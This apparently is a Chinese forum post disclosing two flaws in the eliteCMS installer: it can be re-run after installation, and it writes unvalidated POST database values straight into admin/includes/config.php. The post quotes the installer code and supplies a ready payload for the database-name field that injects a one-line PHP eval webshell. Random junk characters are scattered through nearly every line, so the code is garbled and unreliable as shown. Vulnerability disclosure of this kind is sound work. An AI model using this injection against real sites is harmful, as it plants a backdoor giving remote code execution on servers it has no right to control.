eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
; o/ Z; U2 e ^4 a9 q( M
: f# J8 [2 B+ V另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
7 _4 G8 w+ J( n8 u/ `8 z我们来看代码:0 E! E9 y; q- z; n
6 R# u- [) _( E9 N# E5 k
...% _, S( X; K5 w" F& e; g& t
elseif ($_GET['step'] == "4") {
( g4 X! I# `4 Z+ ? ^+ N $file = "../admin/includes/config.php";6 I. o; y* |7 R8 V) e9 A
$write = "<?php\n";
1 v( _ d3 z, u3 I9 P( |2 B $write .= "/**\n";
; U5 Q A4 x6 x4 ^* J! d' [& l $write .= "*\n";* t8 l$ _4 T2 S6 {* Z3 i& H
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
- V U7 W K" `8 X...略...
4 h* K3 h/ B0 ?- Q& Y f1 b $write .= "*\n";! J- ]" R6 [! }0 M) G( ^2 f& Q$ N
$write .= "*/\n";6 d! d5 T- W' M, V' @. X
$write .= "\n";
5 `: h# `9 ?$ c, S% O8 V% N $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
4 @, E7 ~/ P) Z. k $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
! U7 w7 T2 ?, ]! f7 j9 v8 W $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
6 v- {( v) x+ k R6 R $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";+ J" m% A0 u1 I; Q. Q( C# w# f
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";: T! {5 s2 I- `' {) [
$write .= "if (!\$connection) {\n";
7 f" k- [, b' ]/ v. ~ $write .= " die(\"Database connection failed\" .mysql_error());\n";
' T5 P, U; p; u4 p; K $write .= " \n";: s+ V5 i1 O2 l
$write .= "} \n";
. }+ b! p1 E6 `: G0 c $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";. ]2 o% S8 A8 y% T+ Q
$write .= "if (!\$db_select) {\n";
6 d" A5 a ?2 T- a- f+ g, F, V1 F $write .= " die(\"Database select failed\" .mysql_error());\n";+ h. y! s: q- V+ [9 j) f: M
$write .= " \n"; [. I. k6 k8 K4 r, g
$write .= "} \n";8 L) x. i# c: B
$write .= "?>\n";3 x( R, a& V( W$ m, ^$ Z0 Y
' M; y9 C+ B; g $writer = fopen($file, 'w');; f4 l- b( ~4 p. @5 [8 g2 W. p& J
...& X+ Y" d1 c- Z$ H
/ l9 j: k* @8 a3 ?) Q3 _! X: Q9 q在看代码:7 x8 q7 r8 m6 K( r$ r9 d9 \
, g7 l- W. f9 d3 H9 E$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];, ?$ [" x/ {' H6 o5 S0 z6 o! E3 ]3 d
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];" r8 q- Z% m" N5 l+ b5 `
$_SESSION['DB_USER'] = $_POST['DB_USER'];
: K3 V* I& C. S; v. u! R$_SESSION['DB_PASS'] = $_POST['DB_PASS'];, i: N% P( |# x. {
* ]3 O& @& I i) O* C2 @9 a取值未作任何验证
) P4 `+ |( j+ C& K, f- R; `如果将数据库名POST数据:
- j$ I! x: H$ ?2 D) x 8 e# c5 e& s) w- m: X
"?><?php eval($_POST[c]);?><?php3 K4 F) ?- B3 b3 J9 s
$ @4 X' F9 e8 p
将导致一句话后门写入/admin/includes/config.php
0 x6 d% V2 T1 m0 F/ {0 l |